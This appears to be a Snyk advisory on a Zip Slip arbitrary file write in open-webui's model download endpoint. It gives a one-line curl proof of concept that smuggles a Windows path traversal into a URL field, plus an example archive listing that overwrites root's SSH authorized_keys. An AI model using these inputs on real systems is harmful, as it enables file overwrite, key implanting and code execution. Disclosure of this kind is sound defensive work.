Arbitrary File Write via Archive Extraction (Zip Slip) Affecting open-webui package, versions [0,]


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.22% (45th percentile)

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  • Snyk IDSNYK-PYTHON-OPENWEBUI-9680274
  • published10 Apr 2025
  • disclosed20 Mar 2025
  • creditMokrane Abdelmalek

Introduced: 20 Mar 2025

NewCVE-2024-7033  (opens in a new tab)
CWE-29  (opens in a new tab)

How to fix?

There is no fixed version for open-webui.

Overview

open-webui is an Open WebUI

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) through the download_model endpoint. An attacker can manipulate file paths to write files to arbitrary locations on the server's filesystem, potentially overwriting critical system or application files, causing denial of service or achieving remote code execution.

Note:

This is only exploitable when deployed on Windows.

PoC

curl -X POST -H 'Authorization: Bearer [AUTHORIZATION_TOKEN]' http://localhost:3000/ollama/models/download  --json '{"url":"https://huggingface.co/m0kr4n3/poc/blob/main/\\..\\..\\..\\..\\..\\WINDOWS\\Temp\\pwned"}'

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

CVSS Base Scores

version 4.0
version 3.1